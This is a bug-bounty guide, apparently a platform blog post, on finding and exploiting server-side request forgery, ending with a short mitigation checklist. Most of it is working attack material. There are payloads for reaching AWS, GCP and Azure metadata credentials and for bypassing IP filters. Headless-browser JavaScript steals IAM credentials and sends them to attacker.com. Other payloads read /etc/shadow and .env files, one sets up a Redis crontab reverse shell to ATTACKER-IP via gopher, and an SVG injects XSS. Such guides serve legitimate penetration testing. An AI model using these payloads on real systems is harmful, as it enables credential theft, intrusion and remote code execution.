Server-side request forgery: The ultimate Bug Bounty guide to exploiting SSRF vulnerabilities

May 12, 2026

Vulnerability vectors: server-side request forgery

You’re testing a webhook feature on a SaaS platform. You swap the callback URL for http://169.254.169.254/latest/meta-data/iam/security-credentials/, hit send and the application hands you temporary AWS credentials with full EC2 access.

That is server-side request forgery (SSRF) at its most devastating and it happens more often than you’d think.

SSRF lets you weaponise the server’s own outbound connectivity against itself. The application fetches a resource on your behalf, trusting the request because it originates from inside the network.

With a single crafted URL you can read internal files, map private infrastructure, plunder cloud credentials or chain the vulnerability all the way to remote code execution. SSRF landed on the OWASP Top 10 in 2021 for good reason, and it consistently produces some of the highest bounty payouts across platforms like YesWeHack.

What is server-side request forgery (SSRF)?

The critical detail is who makes the request: the server, not the user’s browser. That matters because the server typically lives inside a trusted network boundary. It can reach internal APIs, admin panels, cloud metadata endpoints and backend services that are invisible to external attackers. By injecting a malicious URL, you borrow that trusted position.

Consider a straightforward example. An application lets users paste a URL to import a profile picture:

1POST /profile/avatar HTTP/1.1
2Host: app.example.com
3Content-Type: application/x-www-form-urlencoded
4
5avatar_url=https://cdn.example.com/image.png

The server fetches that URL and stores the image. Now replace the URL with http://localhost/admin or http://169.254.169.254/latest/meta-data/. The server dutifully fetches those too from its own internal vantage point, and may return the response to you.

The root cause is a design flaw: the application treats server-initiated requests as inherently safe, even when the destination was entirely chosen by the attacker.

The two types of SSRF: classic vs blind

Understanding which type you’re dealing with shapes your entire exploitation strategy, because the techniques, tooling and even the reporting approach diverge completely between the two:

  • Classic SSRF means the application reflects the fetched content back to you in the HTTP response. You submit a URL, the server fetches it and you see the result directly. This is the easiest to confirm and exploit
  • Blind SSRF means the server makes the request but you never see the response. You can only infer what happened from secondary signals: timing differences, HTTP status codes, DNS callbacks or error messages. Blind SSRF is far more common in production environments, where applications process URLs asynchronously (eg webhooks, document processors, screenshot services) and intentionally don’t expose responses to users)

Both types can lead to critical impact. Blind SSRF just requires more creative exploitation techniques to demonstrate that impact to a Bug Bounty triage team.

Where to find SSRF vulnerabilities: entry points hunters often miss

Knowing where to look is half the battle. SSRF lurks wherever an application makes outbound HTTP requests based on user-controlled input.

The obvious entry points (URL input fields, webhook configurations, import features) are often well-guarded because developers know they’re handling user-supplied URLs. The real bounties come from hidden entry points that developers don’t even realise trigger server-side requests.

Obvious SSRF entry points

Start with the ones that are clearly URL-driven – not because they pay best, but because ruling them out quickly tells you whether the target has any SSRF defence at all:

  • URL parameters that look like identifiers. Parameters named callback, return_url, redirect_uri, next, image_url, avatar, url, uri, dest, source, path, target, reference, site or feed are classic SSRF candidates. Also watch for base64-encoded or URL-encoded values that decode to URLs
  • URL input fields in profile settings (avatar URL, custom background image), import features, ‘fetch from URL’ buttons or any form that accepts a link
  • Webhook configurations in SaaS dashboards, CI/CD platforms, payment providers and third-party integrations
  • OAuth / SSO configuration fields like ‘SAML metadata URL’, ‘OIDC discovery URL’ or custom identity provider endpoints
  • RSS feeds, API integrations and data sync features where the user provides a remote endpoint

These are the first places to test, but they’re also where defenders focus their efforts. Don’t stop here.

Hidden SSRF entry points that survive in production

Hidden entry points are where SSRF often survives in production. These are fields, headers, or parameters that indirectly control a destination – and because developers rarely recognise them as URL sinks, they almost never get the same level of hardening as the more obvious ones:

  • HTTP headers that influence routing or fetching. Headers like X-Forwarded-For, X-Forwarded-Host, X-Original-URL, X-Rewrite-URL, Referer or Forwarded can sometimes influence where the application makes subsequent requests – especially in applications behind reverse proxies or with URL-rewriting middleware
  • URLs embedded in uploaded files. XML external entities, SVG <image href> tags, markdown image references in uploaded content, HTML templates in PDF generators, and DOCX/XLSX files with external references all trigger server-side fetches when parsed
  • File import and preview features. ‘Import from URL’, RSS feed readers, screenshot services, PDF generators and URL-to-image converters all fetch external content. PDF generators are particularly valuable: they often run headless browsers or HTML renderers that support file:// and internal HTTP requests
  • Social media sharing previews. The ‘preview’ functionality that fetches OpenGraph metadata from a link you share will often follow redirects and reach internal services
  • Cloud function triggers and async jobs. Modern architectures frequently queue URLs for background processing. You won’t see an immediate response, but a Burp Collaborator callback confirms the vulnerability
  • Server-side analytics. Analytics software that tracks referring URLs will often visit the Referer value to analyse incoming links. Simply setting Referer: http://your-collaborator-server/ on any request to the target can trigger a DNS or HTTP callback

JavaScript files: goldmines for finding SSRF endpoints

Modern web applications expose a significant portion of their server-side functionality through JavaScript, and SSRF-vulnerable endpoints are often hidden in plain sight within JS bundles. Endpoints that handle URL fetching, webhook delivery or remote imports may not be linked from the UI but are referenced in JavaScript code – meaning they’re reachable if you know they exist, but invisible to any hunter who only tests what the app explicitly surfaces.

When recon’ing for SSRF specifically, look for:

  • API routes with URL-related naming: /api/fetch, /api/proxy, /api/import, /api/preview, /api/unfurl, /api/avatar, /api/webhook
  • Function names that hint at fetching: fetchRemote, loadExternal, proxyRequest, getPreview, importFromUrl
  • Parameter names in request builders: look for any variable that ends up being passed as a URL in an HTTP call. Any variable like url, target, path, dest, redirect, link, src, href, fetch, load or request is a prime candidate. Developers chose those names precisely because the parameter holds a URL
  • Feature flags that enable experimental import or integration features – sometimes only exposed to certain users but still reachable if you know the endpoint

For a complete methodology on discovering hidden endpoints, parameters and analysing JavaScript files during recon, check out ‘Recon Series #1: Discovering and mapping hidden endpoints and parameters’. It covers JavaScript analysis tools (LinkFinder, JSpector, bookmarklets), fuzzing techniques with ffuf and Burp Intruder, and wordlist strategies that apply directly to SSRF hunting.

Burp Suite extensions for SSRF recon

Many SSRF-vulnerable parameters and headers aren’t documented or visible in any request you can observe – they’re accepted by the backend but simply never sent by the frontend. That’s exactly the gap two Burp Suite extensions are built to close, and why they belong in your default SSRF workflow.

Param Miner automates parameter and header discovery by guessing names against a target endpoint and detecting which ones cause a different server response. It’s particularly effective for SSRF recon because it can reveal undocumented URL-handling parameters that the application accepts but doesn’t advertise – and an undocumented URL parameter is, by definition, one nobody has hardened.

Typical workflow:

  1. Send a request to Param Miner (right-click → Extensions → Param Miner → ‘Guess params’ or ‘Guess headers’)
  2. Let it run through its built-in wordlists (Param Miner ships with curated lists of common parameter and header names).
  3. Review the identified parameters/headers that caused response differences.
  4. Test each candidate for SSRF.

Collaborator Everywhere takes a different approach: instead of actively fuzzing a single request, it automatically injects fresh Burp Collaborator payloads into every header and URL parameter of in-scope traffic as you browse. Any interaction received in the Collaborator tab confirms a server-side fetch – meaning you discover SSRF primitives passively while doing other testing, without even needing to know which parameter triggered the request. That’s the real value: most hunters miss blind SSRF not because they can’t exploit it but because they never realise a given header or parameter triggers an outbound request in the first place. It’s especially powerful for catching blind SSRF in headers that reverse proxies or middleware silently dereference (X-Forwarded-For, True-Client-IP, Referer, custom debug headers).

A parameter or header that doesn’t appear in any documented request but accepts a URL and triggers a server-side fetch is exactly the kind of finding that leads to critical SSRF bounties – because it’s invisible to automated scanners and overlooked during development!

SSRF via async jobs and background workers

One of the most overlooked SSRF surfaces is asynchronous processing. When an action doesn’t immediately trigger a fetch but is queued for later processing, the vulnerability becomes harder to spot – but no less exploitable. This is worth chasing specifically because async pipelines are usually written by a different team than the user-facing endpoint, and the “it’s internal, it’s fine” assumption runs even stronger on background workers than on public routes.

Watch for these patterns:

  • Report generation: scheduled exports, analytics dashboards or daily email digests that fetch embedded resources server-side
  • Email rendering: platforms that send emails with server-rendered HTML often fetch inline images to inline them as attachments or CID references
  • Moderation and scanning pipelines: content moderation systems that fetch user-submitted URLs to scan for malware, phishing or policy violations
  • Indexing and preview workers: search indexers that crawl submitted URLs or preview generators that run on a delay after upload

A callback you don’t receive immediately might arrive minutes or hours later from a completely different source IP. Always set up a long-lived OOB listener (Burp Collaborator, interactsh) and wait – patience here routinely turns “no response, probably nothing” into a critical finding a day later.

SSRF exploitation: from internal recon to cloud takeover

Once SSRF is confirmed, the next step is escalation. Internal services, cloud metadata endpoints, and backend infrastructure often become reachable from the application server itself – turning a simple URL fetch into a path toward full internal compromise.

Internal network access via SSRF

The most immediate use of SSRF is probing the server’s local network, the part of the infrastructure that sits behind the firewall and should be inaccessible from the internet. This is your first escalation step because the internal network is where everything interesting lives: admin panels, unauthenticated caches, internal APIs and management interfaces that were never designed to face an attacker.

Start with localhost. Why localhost first? Because the application server almost always runs management interfaces, internal admin panels or cached data stores bound to 127.0.0.1 – services that are never meant to be externally reachable and therefore rarely hardened:

1http://localhost/
2http://127.0.0.1/
3http://0.0.0.0/

Then sweep common internal ports to identify running services:

1http://127.0.0.1:22 (SSH)
2http://127.0.0.1:3306 (MySQL)
3http://127.0.0.1:5432 (PostgreSQL)
4http://127.0.0.1:6379 (Redis)
5http://127.0.0.1:8080 (internal admin)
6http://127.0.0.1:9200 (Elasticsearch)

Response time and HTTP status code differences tell you which ports are open. An immediate 200 or a connection-refused error looks different from a timeout on a filtered port. In blind scenarios, even timing differences give you a port map.

To scan private RFC 1918 ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) for other hosts on the internal network:

1http://10.0.0.1/
2http://172.16.0.1/
3http://192.168.1.1/

This internal network reconnaissance is valuable on its own for a bug report, but it becomes far more powerful once you identify a specific service to interact with.

Exploiting cloud metadata endpoints (AWS, GCP, Azure, DigitalOcean)

If the application runs in a cloud environment, SSRF becomes dramatically more impactful. Cloud providers expose a metadata endpoint accessible only from within the instance. That endpoint contains IAM credentials, SSH keys, instance configuration, and user data scripts that often hold secrets – which is why cloud metadata is the single highest-payout SSRF escalation path and the thing triage teams react fastest to.

AWS EC2 metadata service (IMDSv1)

1http://169.254.169.254/latest/meta-data/
2http://169.254.169.254/latest/meta-data/iam/security-credentials/

First, enumerate available IAM roles by fetching the credentials listing. Then request the specific role: http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE-NAME]

The response returns temporary AccessKeyId, SecretAccessKey and Token values, which are valid AWS credentials you can immediately use with the AWS CLI for further exploitation.

Google Cloud Platform -> http://metadata.google.internal/computeMetadata/v1/

Note that GCP’s metadata service requires the header Metadata-Flavor: Google. If your SSRF allows custom header injection, include it. Some older GCP endpoints accessible via the v1beta1 path bypass this header requirement.

Azure IMDS -> http://169.254.169.254/metadata/instance?api-version=2021-02-01

Azure also requires a Metadata: true header.

DigitalOcean -> http://169.254.169.254/metadata/v1/

The presence of these metadata endpoints is why SSRF is classified as critical when demonstrated against cloud infrastructure. Extracting a role’s credentials can escalate to full cloud infrastructure compromise.

SSRF filter bypass techniques: encoding, redirects, and DNS rebinding

Most applications implement some form of SSRF protection. Developers commonly maintain blocklists of forbidden hosts (localhost, 127.0.0.1, private IP ranges) or allowlists of permitted domains. Both approaches are regularly defeated through encoding tricks, protocol abuse and logical inconsistencies – and knowing which bypass to reach for first depends on which defence is actually in place.

IP address obfuscation to bypass blocklists:

When 127.0.0.1 is blocked, the same IP can be represented in multiple equivalent forms that many filters don’t account for. This is the first bypass to try because it costs nothing: if the filter is a naive string check, one of these encodings walks straight through…

1http://2130706433/ (decimal notation)
2http://0177.0.0.1/ (octal notation)
3http://0x7f.0x0.0x0.0x1/ (hexadecimal notation)
4http://127.1/ (shorthand, resolves to 127.0.0.1)
5http://127.0.1/ (three-part form)
6http://[::1]/ (IPv6 loopback)
7http://[::ffff:127.0.0.1]/ (IPv4-mapped IPv6)

Tools like ipfuscator automate the generation of alternative representations for any given IP address. Worth using when you suspect a regex-based blocklist – brute-forcing the encoding space often finds the one format the developer forgot.

Bypass localhost with a domain redirection:

Why use these? Because some filters specifically check for IP literals or the string localhost, but happily resolve a ‘harmless’ hostname that then points straight back at the loopback interface:

URL parser confusion bypasses:

Orange Tsai’s research ‘A New Era of SSRF demonstrated that different components of an application parse URLs differently and those parsing discrepancies can be weaponised. This class of bypass matters because it defeats properly-written allowlists – the validator genuinely sees a trusted domain, yet the HTTP client connects elsewhere. A URL validator and the HTTP client making the request may disagree on what the actual host component is:

1http://expected.com@127.0.0.1/
2http://expected.com:80@127.0.0.1/
3http://expected.com#@127.0.0.1/

Some validators see expected.com as the host (flagged as safe), while the HTTP client connects to 127.0.0.1 (the actual destination). This class of bypass is language- and framework-dependent. PHP, Python’s urllib, Java’s URL class and Go’s net/url have all historically exhibited these discrepancies.

Open redirect chaining for SSRF bypass:

A common pattern: the application allowlists its own domain for SSRF, trusting https://app.example.com but blocking direct internal requests. If you can find an open redirect anywhere on app.example.com, you can chain it:

1https://app.example.com/redirect?url=http://169.254.169.254/

The SSRF filter sees a trusted domain and allows the request. The server follows the redirect and reaches the internal resource. This is why many hunters deliberately keep low-severity open redirect findings in reserve precisely for this purpose – on their own they’re worth little, but they unlock SSRF escalation when the opportunity arises.

The service r3dir.me provides open-redirect functionality specifically for SSRF bypass testing when you don’t have your own redirect endpoint available.

Hosting your own redirect server:

Even without an on-target open redirect, you can host a redirect on your own VPS. Return an HTTP 301 or 307 response with Location: http://127.0.0.1/admin from a server you control. If the application follows redirects after the initial URL validation, your redirect lands the server inside the internal network:

1<?php header("Location: http://169.254.169.254/latest/meta-data/"); ?>

The 301/307 distinction matters because 307 preserves the HTTP method. If the SSRF target requires a POST to exploit (eg an internal API that only accepts POST), a 301 redirect silently downgrades to GET and kills the attack.

DNS rebinding to bypass allowlists:

DNS rebinding defeats validation that resolves a hostname to verify it isn’t internal, then makes the actual request separately. The attack exploits the gap between those two operations – and it’s worth reaching for when every other bypass fails, because it works against both allowlists and blocklists at once.

You configure a domain you control to serve DNS records with a TTL of 0 (or 1 second). Initially, the domain resolves to a legitimate external IP that passes the allowlist check. By the time the application makes the actual HTTP request, milliseconds or seconds later, you’ve changed the DNS record to point to 127.0.0.1.

The application validated a safe hostname but connected to localhost. Services like Singularity of Origin and 1u.ms provide public DNS rebinding infrastructure for testing:

1http://make-1.2.3.4-rebind-127.0.0.1-rr.1u.ms/

This domain alternates between returning 1.2.3.4 and 127.0.0.1 on each DNS lookup, making it useful for bypassing SSRF filters that cache resolution results only briefly.

DNS rebinding is particularly potent because it defeats both allowlists and blocklists. The validated value is genuinely external until the rebind triggers.

SSRF via PDF generators and headless browsers

PDF generation features are an underrated SSRF vector and one of the most common discovery paths for Bug Bounty hunters. Tools like wkhtmltopdf, Headless Chrome, Puppeteer and Playwright render HTML, and that HTML can contain references to internal resources.

If you can influence the HTML that gets converted to PDF (through a template, a rich-text field or a URL passed directly to the generator), you can inject:

1<iframe src="http://169.254.169.254/latest/meta-data/"></iframe>

Or with JavaScript in headless Chrome:

1<script>
2 fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/')
3 .then(r => r.text())
4 .then(d => fetch('http://attacker.com/?' + btoa(d)));
5</script>

Why headless browsers are different from regular SSRF

A regular SSRF primitive (like fetch_url(user_input)) gives you a single HTTP request with a URL you control. Headless browsers give you something far more powerful:

  • JavaScript execution in a real browser engine (Chromium, Firefox)
  • Multi-request capabilities: every <img>, <iframe>, <script>, <link> or CSS @import directive may trigger separate outbound requests
  • Full HTTP control: custom methods (PUT, DELETE), custom headers, request bodies
  • Local file read via file:// in many configurations
  • Direct RCE on outdated or misconfigured renderers – wkhtmltopdf, PhantomJS, Puppeteer with stale Chromium, or Chromium running with --no-sandbox inside Docker (a common misconfiguration) all have documented paths from HTML injection to code execution on the host
  • DOM manipulation: read responses, parse them, reinject content into the rendered output

In practical terms, a simple ‘fetch this URL’ SSRF might let you read http://127.0.0.1:8080/admin if the response is reflected. A headless browser SSRF lets you execute JavaScript that fetches the admin panel, extracts sensitive data, and writes it into the generated PDF – all in a single request. And on vulnerable stacks, it can go straight to RCE. That qualitative difference is why a ‘PDF export’ feature is worth far more attention than its name suggests.

Fingerprinting headless browser stacks

Before exploiting, it helps to identify what you’re dealing with, because the payload that works against Puppeteer will often fall flat against wkhtmltopdf, and vice versa. The main players:

  • Puppeteer (Node.js) – drives Chromium, very common in modern SaaS
  • Playwright (Node.js, Python, .NET) – Puppeteer’s successor, increasingly popular
  • Chromium headless directly, often via chrome --headless
  • wkhtmltopdf – older, WebKit-based, limited JS support but still widespread in legacy systems
  • WeasyPrint (Python) – no JS execution, but still fetches CSS and images
  • PrinceXML – commercial, limited JS
  • Selenium / Selenoid – testing frameworks repurposed as rendering backends

Fingerprinting tricks: look at the User-Agent in callback requests (often reveals HeadlessChrome/XXX), check whether JavaScript-specific features are working and note which resource types get loaded (<img> always, <script> only if JS is enabled).

Basic exploitation: JavaScript-based SSRF

Once you confirm JavaScript execution, the simplest payload reads an internal resource and writes the response into the rendered page:

1<!DOCTYPE html>
2<html>
3<body>
4 <h1>Invoice #12345</h1>
5 <div id="leak"></div>
6
7 <script>
8 fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/')
9 .then(r => r.text())
10 .then(role => fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/' + role))
11 .then(r => r.text())
12 .then(creds => {
13 document.getElementById('leak').innerText = creds;
14 });
15 </script>
16</body>
17</html>

The server renders this to PDF, the JavaScript executes, the AWS credentials get written into the DOM and the credentials appear in the downloaded PDF.

Important timing note: PDF generators often have a fixed ‘wait time’ (eg 2-5 seconds) before capturing the page. If your fetch chain is slow, the PDF might be generated before your data lands. Force the renderer to wait:

1// Force synchronous-looking flow with delayed rendering
2async function exfil() {
3 const role = await (await fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/')).text();
4 const creds = await (await fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/' + role)).text();
5 document.title = creds; // Also visible in PDF metadata sometimes
6 document.body.innerText = creds;
7}
8exfil();

Beyond simple reads: custom methods and headers

Because you’re inside a real browser, you’re not limited to GET requests on public-facing URLs. This unlocks targets that regular SSRF primitives can’t touch – anything protected by custom headers (like IMDSv2), CSRF tokens or non-GET verbs suddenly becomes reachable. A few things worth trying systematically:

Custom HTTP methods and headers (required for IMDSv2, internal APIs, and CSRF-protected endpoints):

1// IMDSv2-compatible AWS credential theft
2const token = await (await fetch('http://169.254.169.254/latest/api/token', {
3 method: 'PUT',
4 headers: {'X-aws-ec2-metadata-token-ttl-seconds': '21600'}
5})).text();
6
7const creds = await (await fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name', {
8 headers: {'X-aws-ec2-metadata-token': token}
9})).text();

Exfiltration when JavaScript is disabled or sandboxed

Some setups disable JavaScript for security (eg wkhtmltopdf with --disable-javascript). You’re not dead – you can still exfiltrate via passive HTML elements, and the trade-off is only in how you leak data, not whether you can:

1<img> tags for blind confirmation:
2<img src="http://burp-collaborator.oastify.com/internal-probe">
3<img src="http://169.254.169.254/latest/meta-data/">

Even without JS, image tags trigger fetches. You’ll see the interactions in Collaborator.

1<iframe> for rendering internal pages:
2<iframe src="http://127.0.0.1:8080/admin" width="100%" height="2000"></iframe>

The iframe content gets rendered into the PDF directly – great for reading admin panels visually.

CSS @import and url() for fetching stylesheets:

1<style>
2 @import url('http://internal-service/config.css');
3 body { background: url('http://collaborator.oastify.com/css-probe'); }
4</style>
5<link> tags for stylesheets and local file read:
6<link rel="stylesheet" type="text/css" href="file:///C:/WINDOWS/WIN.INI">
7<link rel="stylesheet" href="http://127.0.0.1/internal.css">

On renderers that support the file:// protocol, this reads local files directly. Even failed fetches often leak content through parsing error messages in the generated output.

1<meta http-equiv="refresh"> for redirects:
2<meta http-equiv="refresh" content="0;url=file:///C:/WINDOWS/WIN.INI">

This forces the renderer to navigate to the target URL, which can include file:// schemes on vulnerable setups.

1<embed> and <object> for loading arbitrary resources:
2<embed src="file:///C:/WINDOWS/WIN.INI" width="600" height="400"/>
3<object data="file:///C:/WINDOWS/WIN.INI" width="600" height="400"></object>

These tags are particularly powerful because they’re designed to load any content type – including local files – and often render it directly inside the PDF. Perfect for visual exfiltration when JS is locked down.

SVG with embedded references:

1<svg><image href="http://169.254.169.254/latest/meta-data/hostname" width="500" height="200"/></svg>

Some renderers fetch and embed the referenced resource directly into the SVG rendering – leaking content visually.

Blind SSRF: how to prove impact without a visible response

Blind SSRF is far more common than the in-band variant, and triage teams frequently downgrade reports that only demonstrate a DNS callback. Your job is to prove meaningful impact – because without it, your ‘critical’ becomes their ‘informational’.

Confirming blind SSRF with Burp Collaborator

Burp Suite Professional’s Collaborator generates unique subdomains that log every DNS lookup and HTTP connection. Submit your Collaborator payload to suspected SSRF entry points:

1http://your-unique-id.burpcollaborator.net/

A DNS callback confirms the server resolved your domain. An HTTP callback confirms it made a full request. Without either, there’s no confirmed SSRF.

The “Collaborator Everywhere” Burp extension automates this by injecting Collaborator payloads into all outbound headers (Referer, Host, X-Forwarded-For, Origin) across every request as you browse, surfacing blind SSRF sinks passively.

Out-of-band data exfiltration

Once you’ve confirmed a DNS callback, you can exfiltrate data through the subdomain itself. If you can control a path or query parameter that appears in the fetched URL, embed the data you want to exfiltrate:

1http://[EXFILTRATED_DATA].your-collaborator.net/

Timing-based inference for blind SSRF

Even without DNS callbacks – for example, when egress is tightly filtered – timing side channels provide confirmation. Requests to open ports return quickly. Requests to filtered ports time out. Requests to non-existent hosts also time out, but with a different error pattern.

By systematically varying the target host and port and measuring response time, you can build a partial map of the internal network even without any direct output.

Apache /server-status escalation

If you achieve access to localhost, Apache’s /server-status endpoint is a frequently overlooked escalation path because it leaks in-flight requests from other users: session tokens, query parameters, and API keys that happen to be moving through the server when you hit it. A single fetch can yield dozens of authenticated sessions:

1http://127.0.0.1/server-status

Gopher SSRF: escalating to Redis, MySQL, and FastCGI RCE

The gopher:// protocol is one of the most powerful SSRF escalation techniques available. Unlike http://, which is constrained to HTTP request structure, Gopher lets the server send arbitrary raw bytes to any TCP port. This is the escalation you reach for when you want to turn “I can reach internal services” into “I can execute arbitrary commands on them” – it’s what bridges SSRF to RCE on real targets. You can speak Redis, MySQL, SMTP, FastCGI or any other protocol not just HTTP.

The format is:

SSRF to RCE via Redis

Redis instances exposed on localhost without authentication are common in legacy deployments and misconfigured Docker environments. Redis allows writing files to the filesystem via its CONFIG SET commands, and if the web root or crontab directory is writable, this means RCE.

Using Gopherus, generating the payload is a single command:

1gopherus --exploit redis

Once URL-encoded into a Gopher URL and submitted through the SSRF parameter, the server connects to Redis on port 6379 and issues these commands.

For a reverse shell via crontab injection:

1gopher://127.0.0.1:6379/_FLUSHALL
2SET 1 "* * * * * bash -i >& /dev/tcp/ATTACKER-IP/4444 0>&1"
3CONFIG SET dir /var/spool/cron/crontabs
4CONFIG SET dbfilename root
5SAVE

Gopherus also supports MySQL, PostgreSQL, FastCGI, Zabbix, Memcached and SMTP, covering most internal services you’re likely to encounter after mapping the internal network.

SSRF to RCE via FastCGI

PHP-FPM listening on port 9000 is another high-value Gopher target. FastCGI lets you specify arbitrary PHP .ini values and execute any file present on the filesystem. Gopherus’s --exploit fastcgi generates the payload given any .php file path on the server.

SMTP abuse via Gopher SSRF

If port 25 is reachable internally, SSRF via Gopher can send spoofed emails from the server’s own mail system, which is useful for demonstrating phishing risk or bypassing email sender validation in bug reports.

Alternative URL schemes for SSRF exploitation

Beyond http:// and gopher://, other URL schemes expand the attack surface depending on what the server’s HTTP client supports. Each one earns its place in your toolkit because it unlocks a target that the standard schemes can’t touch.

file:/// reads local files directly – the fastest path to sensitive config when the HTTP client supports it:

1file:///etc/passwd
2file:///etc/shadow
3file:///app/.env
4file:///proc/self/environ

dict:// interacts with services via the DICT protocol. It’s your fallback when Gopher is filtered – it can’t send arbitrary bytes like Gopher, but it’s enough to read Redis INFO or Memcached stats and confirm a service is present before you escalate elsewhere:

1dict://127.0.0.1:6379/info
2dict://127.0.0.1:11211/stats

ldap:// probes LDAP servers, which sometimes expose directory information without authentication – useful against internal Active Directory or OpenLDAP deployments that never expected to see a curl request:

1ldap://127.0.0.1:389/

sftp:// and tftp:// trigger TCP connections to external servers you control. Why bother? Because some egress firewalls block outbound HTTP/HTTPS but happily allow random TCP ports – a TFTP callback can confirm SSRF where Collaborator’s HTTP callback never arrives.

The availability of each scheme depends on the HTTP client library used server-side. Python’s requests and urllib, Java’s HttpURLConnection, and PHP’s file_get_contents each support different subsets.

Chaining SSRF to stored XSS via SVG

When network segmentation prevents access to anything interesting internally, and cloud metadata isn’t available, you can still escalate impact by upgrading SSRF to XSS. This matters because a ‘low-impact’ SSRF that only hits safe external URLs can still yield a critical find if the response gets reflected to other authenticated users.

If the SSRF response is reflected in a page that other users visit – for example, a ‘preview this URL’ feature – hosting a malicious SVG with embedded JavaScript at your attacker-controlled URL causes the application to fetch and render it:

1<?xml version="1.0" standalone="yes"?>
2<!DOCTYPE svg [<!ENTITY js "alert(document.cookie)">]>
3<svg xmlns="http://www.w3.org/2000/svg" width="500" height="100">
4 <circle cx="50" cy="50" r="40"/>
5 <script type="text/javascript">eval('&js;');</script>
6</svg>

The resulting XSS executes in the context of the vulnerable application’s origin, potentially stealing session cookies or performing account takeover actions. This chain is particularly valuable when the application embeds SSRF-fetched content in pages visible to other users.

SSRF mitigation checklist: what developers (should) get right

Understanding how SSRF gets fixed is useful for hunters too – every missing mitigation is a hint that the attack surface is real. Treat this as a checklist: if any of these controls is absent, there’s an angle:

  • Network-level egress controls. Application servers should be blocked from reaching RFC 1918 ranges, loopback interfaces and link-local addresses (169.254.0.0/16). If your Collaborator receives callbacks from IPs inside those ranges, egress filtering is missing
  • IMDSv2 with hop limit 1 on AWS EC2. A plain GET http://169.254.169.254/latest/meta-data/ returning data means IMDSv1 is still enabled – full credential theft is on the table
  • Proper URL validation: resolve the hostname, check the IP against an allowlist, then make the request to the exact resolved IP with the Host header set. Skipping any of those steps creates bypasses. IP-encoding filter evasion means they’re string-matching. DNS rebinding success means they don’t pin the IP. Redirect chaining success means they validate once and forget
  • Protocol allowlist (http/https only). If gopher://, file:// or dict:// work, there’s no protocol control – and SSRF likely escalates to RCE or file read
  • Least-privilege IAM. Even with SSRF, a narrowly-scoped role limits blast radius. If extracted credentials have AdministratorAccess, the severity jumps significantly

Conclusion: why SSRF remains a top Bug Bounty target

SSRF remains one of the most rewarding vulnerability classes for Bug Bounty hunters. The complexity of URL validation, the ubiquity of outbound-fetching features, and the trust applications continue to place in their own network boundaries ensure that SSRF keeps showing up in production – often in surprising places and with critical impact.

What makes it so valuable for hunters is its versatility. The same primitive that reads /etc/passwd on one target can dump AWS credentials on another, land a webshell on an internal Redis on a third, or pivot into full account takeover via an authenticated screenshot service. A single SSRF finding can go from “we confirmed a DNS callback” to “here’s a dump of every S3 bucket in the account” depending on how far you push it – and how far you push it is almost always up to you.

A few things worth keeping in mind as you hunt. Impact demonstration is everything: a Collaborator callback proves the bug exists, but extracting credentials, reading an admin panel or reaching RCE through gopher is what turns a medium-severity bug into a critical.

Look past obvious URL inputs – webhooks, PDF generators, link previews, SSO metadata endpoints and headers like X-Forwarded-For hide some of the juiciest primitives, and Collaborator Everywhere will surface them passively while you focus on other vulnerabilities.

Test protocol flexibility early; if gopher:// or file:// work, your SSRF is rarely just an SSRF. And be patient with async jobs – callbacks from report generators or moderation pipelines often arrive hours later from a completely different source IP, so leave your listener running and come back to it.

SSRF hunting rewards creativity and persistence. The combination of technical depth, environment-specific tricks and real-world impact makes it one of the most satisfying vulnerability classes to chase – and consistently one of the best-paid.

Happy hunting! o/

References and further reading